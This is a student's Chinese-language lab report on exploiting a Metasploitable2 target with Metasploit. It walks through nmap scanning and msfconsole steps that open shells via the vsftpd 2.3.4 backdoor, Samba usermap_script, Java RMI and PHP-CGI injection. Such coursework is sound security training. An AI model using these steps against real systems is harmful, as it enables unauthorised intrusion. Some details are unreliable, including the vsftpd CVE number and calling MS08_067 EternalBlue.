20222412 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
主要任务:基于Metasploit框架,实现漏洞利用。
Metasploit框架(MSF)由HD Moore于2003年发布,并在2007年使用Ruby语言重写。它提供了一套完整的渗透测试框架,包括漏洞利用模块、攻击载荷、辅助模块、编码器、空指令和后渗透模块等多个组件。这些组件使得Metasploit成为信息安全与渗透测试领域最流行的工具之一。
- 主要功能
- 信息收集:通过各种辅助模块进行端口扫描、服务识别等,帮助渗透测试人员了解目标系统的信息。
- 漏洞探测:内置数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。
- 漏洞利用:利用目标系统中的已知漏洞进行攻击,这是Metasploit的核心功能之一。
- 后渗透攻击:在取得目标系统控制权后,执行进一步的攻击动作,如获取敏感信息、实施跳板攻击等。
- 主要组件
- Exploits(漏洞利用模块):负责利用目标系统的漏洞进行攻击。
- Payloads(攻击载荷):在成功利用漏洞后执行的代码或指令,用于实现特定的攻击目的。
- Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能,辅助渗透测试。
- Encoders(编码器):对Payload进行加密,以绕过安全软件的检测。
- NOPs(空指令):提高Payload的稳定性和可靠性。
- Post(后渗透模块):在取得目标系统控制权后,执行进一步的攻击动作。
2.实验过程
- kali攻击机ip:192.168.191.130
- Metasploitable2靶机ip:192.168.191.152
2.1 前期渗透
2.1.1 主机发现
使用辅助模块中的arp_sweep
实现主机发现。
msfconsole
搜索模块并应用模块
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
设置扫描参数,并启动
set RHOSTS 192.168.191.152 //设置目标ip
run //启动模块
可以看到,主机存在,并且还能知道这台主机是使用的VMware虚拟网卡。
2.1.2 端口扫描
使用nmap对目标主机端口进行扫描
nmap -v 192.168.191.152 //此处我启用的是加强扫描
可以看到靶机开放端口,后续攻击都是基于这些开放的端口的漏洞进行攻击。
2.1.3 扫描系统版本、漏洞
nmap -sV -O 192.168.191.152 //扫描服务版本和操作系统版本
可以看到服务版本为:metasploitable.localdomain, irc.Metasploitable.LAN
操作系统版本可能为:Linux 2.6.9 - 2.6.33
nmap提供了脚本vuln用以实现常见漏洞扫描。
nmap --script=vuln 192.168.191.152
可以看到常见漏洞,例如MS08_067(永恒之蓝)等。
2.2 Vsftpd源码包后门漏洞(21端口)
2.2.1 漏洞原理
Vsftpd源码包后门漏洞是一个严重的安全漏洞,被称为“笑脸漏洞”或CVE-2012-1971。
vsftpd是一个常用的FTP服务器软件,但在其2.3.4版本中存在一个后门漏洞。当用户在登录时输入的用户名以特定字符结尾时(如笑脸符号“😃”),服务器会在6200端口打开一个监听的shell,并且该服务是以root权限运行的。这意味着攻击者可以通过这个后门获得未经授权的访问权限,并执行任意代码。
为了利用这个漏洞,攻击者需要先确认目标系统上是否运行了vsftpd 2.3.4版本,并且21端口是开放的。然后,他们可以尝试使用带有特定字符的用户名进行登录,并在成功后通过6200端口连接来获取系统的控制权。
2.2.2 漏洞复现
查找并选择漏洞模块
search vsftp
use exploit/unix/ftp/vsftpd_234_backdoor
设置参数,开始攻击
show options
set RHOST 192.168.191.152 //靶机ip
run
可以看攻击成功,输入pwd、 id、ls
等命令,成功运行。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
2.3.1 漏洞原理
Samba是一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。
Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。具体来说,Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
Samba版本3.0.20到3.0.25rc3当使用非默认用户名映射脚本配置选项时受到此漏洞影响。由于此选项用于在身份验证之前映射用户名,因此不需要身份验证来利用此漏洞。
2.3.2 漏洞复现
查找并选择漏洞模块
search samba
use exploit/multi/samba/usermap_script
设置参数,开始攻击
show options
set RHOST 192.168.191.152 //靶机ip
run
连接成功,执行uname–a、ls
等验证,攻击成功
2.4 Java RMI SERVER命令执行漏洞(1099端口)
2.4.1 漏洞原理
Java RMI(Remote Method Invocation)是一种允许在不同Java虚拟机之间进行方法调用的分布式计算技术,它使得一个JVM上的对象能够调用另一个JVM上对象的方法,就像调用本地对象一样。Java RMI SERVER命令执行漏洞主要涉及序列化和反序列化过程中的安全风险。
Java RMI默认使用序列化来完成所有的交互,这使得它容易受到反序列化攻击的影响。如果RMI服务的1099端口暴露在公网上,并且使用了存在漏洞的Apache Commons Collections版本,攻击者就可以在该服务器上执行相关命令。该漏洞允许攻击者在目标系统上执行任意代码,可能导致数据泄露、系统被控制等严重后果。由于RMI服务广泛应用于各种Java应用中,因此这个漏洞的影响范围非常广泛。
2.4.2 漏洞利用
查找并选择漏洞模块
search rmi
use exploit/multi/misc/java_rmi_server
设置参数,开始攻击
show options
set RHOST 192.168.191.152 //靶机ip
run
可以看到成功建立会话,输入shell
启动shell并使用ls
测试验证
2.5 PHP CGI参数执行注入漏洞(80端口)
2.5.1 漏洞原理
2.5.2 漏洞复现
查找并选择漏洞模块
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
设置参数,开始攻击
show options
set RHOST 192.168.191.152 //靶机ip
run
可以看到成功建立会话,输入shell
启动shell并使用ls
测试验证
3.问题及解决方案
这次实验真没啥问题,相比于考试的内容更简单,所有问题在做作业的时候都解决了。
4.学习感悟、思考等
本次渗透测试实验涵盖了多个常见的漏洞类型,从主机发现到具体漏洞的利用,每一步都让我深刻体会到网络安全的重要性。每个漏洞的存在都有其根本原因,如软件更新不及时、配置不当或缺乏必要的安全措施。
通过这次实际操作的经历,我不仅学会了如何使用各种工具和技术来进行有效的渗透测试——包括信息收集工具Nmap、漏洞扫描器Nessus、Web应用扫描工具OWASP ZAP等,更重要的是认识到了安全防护是一个多层次的概念。这意味着我们需要从多个角度出发考虑安全问题:对于开发者而言,在编写代码时就应该遵循最佳实践原则,并定期对项目进行代码审查以发现潜在问题;对于运维人员来说,则需要确保所有系统都安装了最新的补丁,并且正确配置了访问控制列表和其他安全设置;同时,企业还应该建立一套完善的应急响应机制,以便在发生安全事件时能够迅速采取行动减少损失。
此外,我还意识到持续学习与实践对于提升个人技能至关重要。随着黑客技术不断进步和发展,只有保持好奇心并紧跟行业趋势才能使自己处于有利地位。因此,未来我计划深入学习更多高级的安全技术和方法论,比如逆向工程、加密算法分析等,同时也希望通过参与比赛等形式锻炼自己的实战能力